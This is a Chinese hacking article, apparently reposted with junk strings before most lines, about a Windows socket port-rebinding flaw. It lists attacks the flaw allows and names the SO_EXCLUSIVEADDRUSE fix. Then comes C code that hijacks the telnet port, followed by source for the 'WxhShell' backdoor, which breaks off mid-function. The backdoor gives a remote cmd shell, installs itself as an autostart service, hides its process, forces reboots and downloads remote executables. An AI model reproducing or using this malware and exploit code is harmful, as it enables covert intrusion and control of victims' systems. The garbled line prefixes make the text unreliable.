在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
f56yI]*N=< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
umYsO.8 |IgR1kp+. saddr.sin_family = AF_INET;
m`yvZ4K! >m%_`68 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"1O_h6C byHc0ktI\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i3-5~@M )aS:h}zn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b<h((]Q>^ 4:/]Y=)x 这意味着什么?意味着可以进行如下的攻击:
0'^M}&zCi <Q[%:LD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3Y#Q'r? 'gwh: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
T:^.; ZY ak(s@@k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-(vHy/Hz. _@5Xmr 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_3/u#'m0 L&\W+k 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ym;]3<I?I[ l*CulVX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g2OnLEF]s ,@*5x'auK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]_KWN$pd vYgJu-Sl #include
_i=*0Q #include
Z{8%Cln #include
* #yF`_p #include
K\xz|Gq DWORD WINAPI ClientThread(LPVOID lpParam);
V@'Xj .ze int main()
`M@ESA(e {
xP8/1wd. WORD wVersionRequested;
&;Ncc,jb DWORD ret;
"x$@^ WSADATA wsaData;
,&[o:jTk BOOL val;
X5WA-s(?0 SOCKADDR_IN saddr;
[P2>KQ\ SOCKADDR_IN scaddr;
vo/x`F'ib int err;
pY&6p~\p SOCKET s;
g=:o 'W$@ SOCKET sc;
#2=l\y-# int caddsize;
~WrpJjI[ HANDLE mt;
ZflB<cI DWORD tid;
s_^`t+5 wVersionRequested = MAKEWORD( 2, 2 );
|d0X1( err = WSAStartup( wVersionRequested, &wsaData );
F|%PiC,,qO if ( err != 0 ) {
}Qo]~/ printf("error!WSAStartup failed!\n");
'5}hm1, return -1;
;~3;CijJ8 }
\VPw3 saddr.sin_family = AF_INET;
"8QRYV~Z ,='Ihi //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
z~{08M7
z,Xj$wl saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
I:dUHN+@L5 saddr.sin_port = htons(23);
tI^91I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f6r!3y {
a1,)1y~ printf("error!socket failed!\n");
"6,fIsU return -1;
\8(Je"S }
~-"CU:$o val = TRUE;
h;=~%2Y //SO_REUSEADDR选项就是可以实现端口重绑定的
r^k+D<k[7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=Jp:dM* {
[REH*_ printf("error!setsockopt failed!\n");
B:>:$LIL return -1;
d=1\= d/K }
=svFw&q" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
VgPlIIHh5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%[XP}L$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&XNt/bK-? =CzGI|pb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:k9T`Aa] {
|AvPg ret=GetLastError();
.7.G}z1 printf("error!bind failed!\n");
k$=L&id return -1;
yp~z-aRa }
~n -N listen(s,2);
'`8 ^P while(1)
Q g/Rw4[ {
gj|5"'g% caddsize = sizeof(scaddr);
E8C8kH] //接受连接请求
(XK,g;RoEn sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
QRQ{Bq}# if(sc!=INVALID_SOCKET)
gY+d[3N {
p3_
Qx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
SX,$$43 if(mt==NULL)
X#1WzWk' {
k7uX!} printf("Thread Creat Failed!\n");
~,,r\Y+ break;
c{^1`(#? }
=t N}4 }
S6bW
r0XR CloseHandle(mt);
rL<N:@HL }
%=z>kU1| closesocket(s);
auI`'O`/ WSACleanup();
Le83[E*i return 0;
0 Rb3|te }
5$i(f8* DWORD WINAPI ClientThread(LPVOID lpParam)
7,)E1dx -V {
r?KRK?I SOCKET ss = (SOCKET)lpParam;
0H rvr SOCKET sc;
)]n>.ZmLCB unsigned char buf[4096];
g Cp`J(2v: SOCKADDR_IN saddr;
kNP-+o long num;
KXZG42w DWORD val;
[__P-h{J DWORD ret;
Fs>MFj //如果是隐藏端口应用的话,可以在此处加一些判断
IFW(nB( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
r@JMf)a] saddr.sin_family = AF_INET;
L1_O!EQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aj|3(2;Kp saddr.sin_port = htons(23);
ll}_EUF| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5]mH.{$x$? {
e@c8Ce|0 printf("error!socket failed!\n");
Qfp4}a= return -1;
^5Y<evjm }
wmpQF< val = 100;
qKSR5 # if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iK2f]h {
#@nPB. ret = GetLastError();
!" FEp return -1;
H/t0# }
[`|t( E' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
46M=R-7= {
em7L`, ret = GetLastError();
pPxgjX return -1;
M19O^P>[ }
0aq{Y7sYU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J+CGhk {
foPM5+.G printf("error!socket connect failed!\n");
8-gl$h closesocket(sc);
lB2F09` closesocket(ss);
6r^ZMW return -1;
o>*`wv }
,or;8aYc# while(1)
[-`s`g- {
ZYB5s~;eB" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Gy+c/gK //如果是嗅探内容的话,可以再此处进行内容分析和记录
f2tCB1[D+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+% <kcc3 num = recv(ss,buf,4096,0);
ZK?V{X{"; if(num>0)
nls$
wE send(sc,buf,num,0);
*QNX?8Fm_ else if(num==0)
.`*;AT break;
`C7pM num = recv(sc,buf,4096,0);
wBlE!Pm if(num>0)
"#36- send(ss,buf,num,0);
4iSN.nxIZ else if(num==0)
l_((3e[) break;
Vh01y f }
lB_4jc closesocket(ss);
nzO-\`40 closesocket(sc);
QP"5A7=m return 0 ;
-^np"Jk }
)a!f")@uz )EYs+7/t Y q/vym-O5 ==========================================================
Gqq<-drR fLRx{Nu 下边附上一个代码,,WXhSHELL
N)jNvzm ?&6|imPE ==========================================================
']Czn._ 8bw,dBN #include "stdafx.h"
zn'Mi:O'p '?90e4x3/ #include <stdio.h>
{OQ)Np! #include <string.h>
uR=*q a #include <windows.h>
AN,3[Sh #include <winsock2.h>
s!W{ru #include <winsvc.h>
e Vj 8u #include <urlmon.h>
o7gZc/?n F:Vl\YZ #pragma comment (lib, "Ws2_32.lib")
, iEGf-!k #pragma comment (lib, "urlmon.lib")
8~!h8bkC f&F9ImZ #define MAX_USER 100 // 最大客户端连接数
>y}> 5kv #define BUF_SOCK 200 // sock buffer
7h.[eMLPB #define KEY_BUFF 255 // 输入 buffer
iyR5mA g}?39?o4 #define REBOOT 0 // 重启
<%4pvn8d?& #define SHUTDOWN 1 // 关机
sj+ ) TJcHqzcUc #define DEF_PORT 5000 // 监听端口
SA"4|#3>7 ,LOx! #define REG_LEN 16 // 注册表键长度
"T8b.ng #define SVC_LEN 80 // NT服务名长度
daB5E<? yqJ>Z%)hf // 从dll定义API
_4{3^QZq5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
i*xVD`x ~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
dF|n)+C~R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#BEXj<m+J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Vs>e"czfm/ EE9eG31|r // wxhshell配置信息
yp
hd'Pu" struct WSCFG {
q@mZ0D- int ws_port; // 监听端口
@Us#c 7/ char ws_passstr[REG_LEN]; // 口令
uw>y*OLU+ int ws_autoins; // 安装标记, 1=yes 0=no
mmC MsBfL char ws_regname[REG_LEN]; // 注册表键名
X#W6;?Z\ char ws_svcname[REG_LEN]; // 服务名
#pD=TMefC char ws_svcdisp[SVC_LEN]; // 服务显示名
uYE"OUNWL char ws_svcdesc[SVC_LEN]; // 服务描述信息
QVb{+`.7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ju.`c->k" int ws_downexe; // 下载执行标记, 1=yes 0=no
x {Rj2~KC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
? _[q{i{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[8b{Ybaz s2tNQtq0W };
80U(q/H%9 )Zvn{ // default Wxhshell configuration
*P12d struct WSCFG wscfg={DEF_PORT,
rv~OfL "xuhuanlingzhe",
I'J-)D` 1,
UHI<8o9 "Wxhshell",
/Zz[vf "Wxhshell",
-t*P=V|@ "WxhShell Service",
1LmbXH]% "Wrsky Windows CmdShell Service",
#E/|WT "Please Input Your Password: ",
+D h?MQt? 1,
=4/K#cQ "
http://www.wrsky.com/wxhshell.exe",
%u?A>$Jn "Wxhshell.exe"
(>\4%(pnD };
;M O,HdP; B.?@VF // 消息定义模块
4E$6&,\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?R@u'4yK char *msg_ws_prompt="\n\r? for help\n\r#>";
[L2N[vy; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
f 0/q{* char *msg_ws_ext="\n\rExit.";
_k)EqPYu@ char *msg_ws_end="\n\rQuit.";
}o=s"0 a char *msg_ws_boot="\n\rReboot...";
`:gXQmt char *msg_ws_poff="\n\rShutdown...";
UE/iq\a> char *msg_ws_down="\n\rSave to ";
fo;^Jg. m.yt?` char *msg_ws_err="\n\rErr!";
,_'Z Jlx char *msg_ws_ok="\n\rOK!";
J32"Ytdo< RHI?_gf& char ExeFile[MAX_PATH];
e=i9l int nUser = 0;
dY?>:ce HANDLE handles[MAX_USER];
()_^:WQO? int OsIsNt;
xn<x/e x,<|<W5<% SERVICE_STATUS serviceStatus;
Gbb*p+( SERVICE_STATUS_HANDLE hServiceStatusHandle;
wemhP8!gc }vX1@n7T6 // 函数声明
<a(739IF int Install(void);
[TmZ\t!5$ int Uninstall(void);
.A7ON1lc^C int DownloadFile(char *sURL, SOCKET wsh);
iT~ gt/K int Boot(int flag);
T
mH5+ void HideProc(void);
zrA=?[ int GetOsVer(void);
K!tM "`a int Wxhshell(SOCKET wsl);
5BM rn0 void TalkWithClient(void *cs);
D'
h%. int CmdShell(SOCKET sock);
X$<CIZ int StartFromService(void);
a;G>56iw int StartWxhshell(LPSTR lpCmdLine);
70A* !v /6'5uP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E7U.>8C VOID WINAPI NTServiceHandler( DWORD fdwControl );
xQs._YY [58qC: // 数据结构和表定义
:W[d&e SERVICE_TABLE_ENTRY DispatchTable[] =
s&W^?eKr {
=nUzBL%~ {wscfg.ws_svcname, NTServiceMain},
;+~Phdy {NULL, NULL}
tIW~Ng };
j[$+hh3: Mir(
}E // 自我安装
nhB.>ReAi int Install(void)
TdrRg''@ {
N}\3UHtO char svExeFile[MAX_PATH];
$*+`;PG- HKEY key;
?fvK<0S` strcpy(svExeFile,ExeFile);
(+9^)No o[k,{`M0 // 如果是win9x系统,修改注册表设为自启动
Uclta if(!OsIsNt) {
KCS},X_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"IzM: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e~G um RegCloseKey(key);
p~<d8n4UH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O<+x=>_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pq*4yaTT' RegCloseKey(key);
9{R88f?; return 0;
(+.R8 }
{xQ(xy }
"tU,.U }
gYa
(-o else {
n{z!L-x^b RA:3ZV // 如果是NT以上系统,安装为系统服务
e8hwXz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
I*=
=I4qx if (schSCManager!=0)
hODq&9! {
9y;8JO SC_HANDLE schService = CreateService
6z1>(Za7> (
QzD8
jk# schSCManager,
'z x1kq1 wscfg.ws_svcname,
`;3fnTI:1 wscfg.ws_svcdisp,
()EiBl(kWk SERVICE_ALL_ACCESS,
HhT6gJWrU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
a>)|SfsE SERVICE_AUTO_START,
/~_,p,:aP SERVICE_ERROR_NORMAL,
hR~~k~84 svExeFile,
-Z&9pI(3R~ NULL,
^r^) &] NULL,
O`'r:W NULL,
1y6{3AZm< NULL,
5H/D~hr& NULL
=.6JvX<d1* );
cy( WD#^ if (schService!=0)
Bpdx]5qfK {
!WQ S.& CloseServiceHandle(schService);
gP>`DPgb^ CloseServiceHandle(schSCManager);
f/%QMhM: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
nCdxn#| strcat(svExeFile,wscfg.ws_svcname);
mI3
\n if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f VpE&F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(-hGb: RegCloseKey(key);
5c6?$v/ return 0;
yxL(mt8 }
~cW,B} }
hD>cxo CloseServiceHandle(schSCManager);
\WZ]'o6 }
>vc$3%L[$ }
VK]sK e qBcwM=R3P return 1;
0tp3mYd }
$g]'$PB ])$Rw$`w // 自我卸载
%j2ZQ/z int Uninstall(void)
t(5PKD#~Dc {
Zf8_ko;|:- HKEY key;
nY 50dFA, "/$2oYNy+ if(!OsIsNt) {
#'oGtFCd` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H 5'Ke+4.e RegDeleteValue(key,wscfg.ws_regname);
6@geakq RegCloseKey(key);
K_[B@( Xl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&bT \4 RegDeleteValue(key,wscfg.ws_regname);
J(=io_\bO RegCloseKey(key);
cP`[/5R return 0;
H+F># }
S3.76& }
geSH3I
}
}(Dt,F` else {
@0U={qX h5VZ-v_j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
F4
:#okt if (schSCManager!=0)
FR? \H"'x {
_jD\kg#LY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PNhxF C. if (schService!=0)
[vyi_0[ {
>}6V=r3[+ if(DeleteService(schService)!=0) {
5 p! rZ CloseServiceHandle(schService);
hSF4-Vvb CloseServiceHandle(schSCManager);
_!Ir|j.A return 0;
h!q_''*; }
$ {5|{` CloseServiceHandle(schService);
<t"|wYAa_ }
IO}53zn<l CloseServiceHandle(schSCManager);
><3!J+<? }
vC>8:3Zaq }
eeu;A,@U Q,<V) return 1;
VVDd39q }
e)A-.SRiO$ RGV}c# // 从指定url下载文件
< r7s,][& int DownloadFile(char *sURL, SOCKET wsh)
w4(g]9^Q {
I/ V`@*/+ HRESULT hr;
;FO( mL ( char seps[]= "/";
N
Obw/9JO char *token;
DRuG5| {I: char *file;
YK6zN>M}E char myURL[MAX_PATH];
XX[CTh?O% char myFILE[MAX_PATH];
ERz{, >G? X>4qL'b:z strcpy(myURL,sURL);
hmM2c15T5 token=strtok(myURL,seps);
:~%{ while(token!=NULL)
|.Vs(0O {
b,):&M~p file=token;
IJ#+"(?7,u token=strtok(NULL,seps);
Auk#pO# }
(hFyp}jkk $hq'9}ASOL GetCurrentDirectory(MAX_PATH,myFILE);
SVJt= M strcat(myFILE, "\\");
l/g6Tv`w strcat(myFILE, file);
.}ePm( send(wsh,myFILE,strlen(myFILE),0);
d}--}&r send(wsh,"...",3,0);
a5nA'=|}i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%+0V0. if(hr==S_OK)
nX|]JW return 0;
9A!B|s else
F0]xc return 1;
LMTz/M uwo\FI }
EaUO>S #d;/Me // 系统电源模块
4"~l^yK int Boot(int flag)
^< wn {
y`8bx94jB HANDLE hToken;
A8U\/GP TOKEN_PRIVILEGES tkp;
=]m,7 v Rq EUjA-L( if(OsIsNt) {
jSd[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
()o[(Hx+ph LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
z6x`O-\ tkp.PrivilegeCount = 1;
gOLN7K-) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jU0E=;1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Q7 @oAeNd if(flag==REBOOT) {
"^NsbA+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4I!g?Moh return 0;
Z)'gj }
ne9-
c>> else {
G;Py%8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~>B`T%=H return 0;
r}i}4K[1 }
45.Vr[FS. }
8~ wP? else {
pxb4x#CC if(flag==REBOOT) {
k<}3_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
r<c&;* return 0;
KGJ *h }
_:7:ixN[Ie else {
fprP$MbI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ae0t*;~ return 0;
(d>}Fp }
DVz_;m6) }
p-XO4Pc6 gAr=fq-| return 1;
]8/g[Ii }
0,5)L\{
R -OXC;y // win9x进程隐藏模块
\dJOZ2J<z void HideProc(void)
TX).*%f[r {
N~~
sM"n hMnm> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;b_l/T( if ( hKernel != NULL )
\[&&4CN{ {
,)M/mG?, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@UQ421Z` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]\m>N]P] FreeLibrary(hKernel);
qPoN 8>. }
Q)Q1a;o | Pi! UZB return;
xO&qo8* }
" 6ScVa5) c<,R,DR // 获取操作系统版本
aUk]wiwIR9 int GetOsVer(void)
2#oU2si
{
JA~q}C7A7o OSVERSIONINFO winfo;
Lu
CiO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
X^Fc^U8 GetVersionEx(&winfo);
?&?5x%|.< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qs!A)H# return 1;
i2+_~$f else
*Gul|Lp$<I return 0;
]-;MY@ }
spT$}F2n >R}G // 客户端句柄模块
K5!OvqzG int Wxhshell(SOCKET wsl)
dngG= {
M $f6.j SOCKET wsh;
h43py8v struct sockaddr_in client;
L7]o^p{g}Q DWORD myID;
\,ne7G21j 0*E_D while(nUser<MAX_USER)
Q^bYx (r5w {
{mUt|m7! int nSize=sizeof(client);
gI!d*]{BP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SHT` if(wsh==INVALID_SOCKET) return 1;
$plqk^P [}!0PN?z~A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6aLRnH"Ud if(handles[nUser]==0)
^?NLA&v< closesocket(wsh);
0Wj,=9q else
]>B4 nUser++;
8([ MR }
c:aW"U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
C8x9 Jrc QP/ZD|/ t1 return 0;
G*_qqb{B }
&Ufp8[ nyetK // 关闭 socket
.N7<bt@~) void CloseIt(SOCKET wsh)
[&g"Z" {
,0c]/Sd*p closesocket(wsh);
pu5%$}dBE nUser--;
IhRdn1& ExitThread(0);
Dt!
< }
(eAz
nTU Kq5i8L=u // 客户端请求句柄
i+F*vTM2, void TalkWithClient(void *cs)
"
sC]z} {
/>N# PF vVP.9( SOCKET wsh=(SOCKET)cs;
e+V8I&% char pwd[SVC_LEN];
J/IRCjQ} char cmd[KEY_BUFF];
8L+A&^qx char chr[1];
33; '6/ int i,j;
QQHQ3\ NcBz(" while (nUser < MAX_USER) {
4/%Y@Z5 zf&:@P{ if(wscfg.ws_passstr) {
$6(a6! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E]v?:!!ds //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mx#%oJnsi //ZeroMemory(pwd,KEY_BUFF);
H32o7]lT i=0;
9c%CCZ while(i<SVC_LEN) {
\t5_V)P !9.FI{W // 设置超时
e{9~m fd_set FdRead;
\B^NdG5Y struct timeval TimeOut;
M4D @G FD_ZERO(&FdRead);
OE}FZCXF FD_SET(wsh,&FdRead);
xZ6x`BET- TimeOut.tv_sec=8;
na|sKE;{ TimeOut.tv_usec=0;
\KzH5 ? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@v#,SF { if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
g/_0WW] } BeN]D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
I\x9xJ4x pwd
=chr[0]; 684d&\(s
if(chr[0]==0xd || chr[0]==0xa) { >JAWcT)d
pwd=0; [:(/cKo
break; ALV(fv$cD
} ,i1BoG
i++; bLSc=f&
} ^/6P~iK'
I)yF!E &
// 如果是非法用户,关闭 socket k~gOL#$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XK\3"`kd
} C BoCT3@~
PXqG;o*Q*?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Lu&bVt<>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R}cNhZC
ec`re+1r
while(1) { +*Z'oC BJ,
h!v<J
ZeroMemory(cmd,KEY_BUFF); _6V1oe2
zhm 0J-g
// 自动支持客户端 telnet标准 C JER&"em7
j=0; a+cDH
while(j<KEY_BUFF) { gb|;]mk*"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IxS%V31
cmd[j]=chr[0]; iPCCTs
if(chr[0]==0xa || chr[0]==0xd) { ,wM4X']HR
cmd[j]=0; &x[7?Y L
break; 0#DEh|?
} nJGs ,~"
j++; X9NP,6
} e0h[(3bXs$
+'-.c"
// 下载文件 vg5_@7
if(strstr(cmd,"http://")) { /s~S\dG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); EEnl'
if(DownloadFile(cmd,wsh)) /aMOZ=,q}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aWlIq(dU
else hxK;f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \xbUr`WBY
} \hZ%NLj
else { ZZ!">AN`^
8I *N
switch(cmd[0]) { * m^\&
vy*-"=J
// 帮助 D%nd7
|
case '?': { gFKJbjT|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M:{Aq&.
break; S,nELV~!
} )-emSV0zE
// 安装 ]/H6%"CTa
case 'i': { /KX+'@
if(Install()) * 70ZAo4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Rd~-w)!|
else (/N&_r4x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
q:TNf\/o
break; pm ,xGo2
} 8\!E )M|4
// 卸载 BjsT 9?6W/
case 'r': { qSB&Q0T
if(Uninstall()) J
(?qk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -PAEJn5$O
else |Ia9bg'1U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p/?o^_s
break; 8"9&x}
tl-
} uT4|43<
G
// 显示 wxhshell 所在路径 m;]wKd"
case 'p': { CpmT*
char svExeFile[MAX_PATH]; %ACW"2#(
strcpy(svExeFile,"\n\r"); m|B=
strcat(svExeFile,ExeFile); 0Zi+x#&d
send(wsh,svExeFile,strlen(svExeFile),0); &.\7='$F
break; >#x[qX
} =uH2+9.
// 重启 {V2"Pym?
case 'b': { *H/3xPh,*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6<<"9mxK
if(Boot(REBOOT)) Q`<{cFsU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xlS*9>Ij
else { f4b9o[,s2e
closesocket(wsh); %g}d}5s
ExitThread(0); <cp9+P <
} 'v~'NWfd
break; PnA{@n\
} JRo/ HY+
// 关机 v/q-{1
case 'd': { ,;6 V=ok
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /oHCV0!0
if(Boot(SHUTDOWN)) <[cpaZT,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #mw!_]
else { @m9pb+=v
closesocket(wsh); q\?s<l63
ExitThread(0); > 0MP[
} Z|uvrFa
break; 3T F_$bd{
} {uaDpRt
// 获取shell GDL/5m#
case 's': { () _RLA
CmdShell(wsh); dA~:L`A|X
closesocket(wsh); hr
fF1
>A
ExitThread(0); GXVx/)H
break; vTO9XHc E
} );7
d_#
// 退出 ,Gt!nm_
case 'x': { 3!{imQT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oQ<[`.s
CloseIt(wsh); FN-/~Su~J
break; $u!(F]^
} 1+;bd'Ie
// 离开 }}=n]_f
case 'q': { E]OexRJ^i
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /'rj L<M
closesocket(wsh); p2Ep(0w,R5
WSACleanup(); v'@gUgC
exit(1); _xaum
break; {r&mNbz
} 6:#o0OeBP
} K=[7<b,:3
} \5r^D|Rp}
vn^O m-\
// 提示信息 G<$:[ +w
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @-!P1]V|
} #:gd9os :
} )=[\Yf K
T(D6'm:X
return; @(sz "
} <eG| `
1_]X
// shell模块句柄 \%a0Lp{ I
int CmdShell(SOCKET sock) 89FAh6u E
{ Xxg|01
STARTUPINFO si; V/ G1C^'/
ZeroMemory(&si,sizeof(si)); 73cb1kfPd
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yxt"vm;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L@S\ rImw
PROCESS_INFORMATION ProcessInfo; 4>jHS\jc
char cmdline[]="cmd"; O2{["c
e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SH?McBxS
return 0; #Q8_:dPY
} f1 x&Fk
.5
.(S^u
// 自身启动模式 Z@0tZ^V{
int StartFromService(void) ?.46X^
{ XjG S.&'I
typedef struct >&PM'k
{ jq,M1
DWORD ExitStatus; &j F'2D^_
DWORD PebBaseAddress; *-nO,K>y`
DWORD AffinityMask; Te+(7
Z
DWORD BasePriority; *4U_MM#rX
ULONG UniqueProcessId; gZ,h95'
ULONG InheritedFromUniqueProcessId; }
{1IB
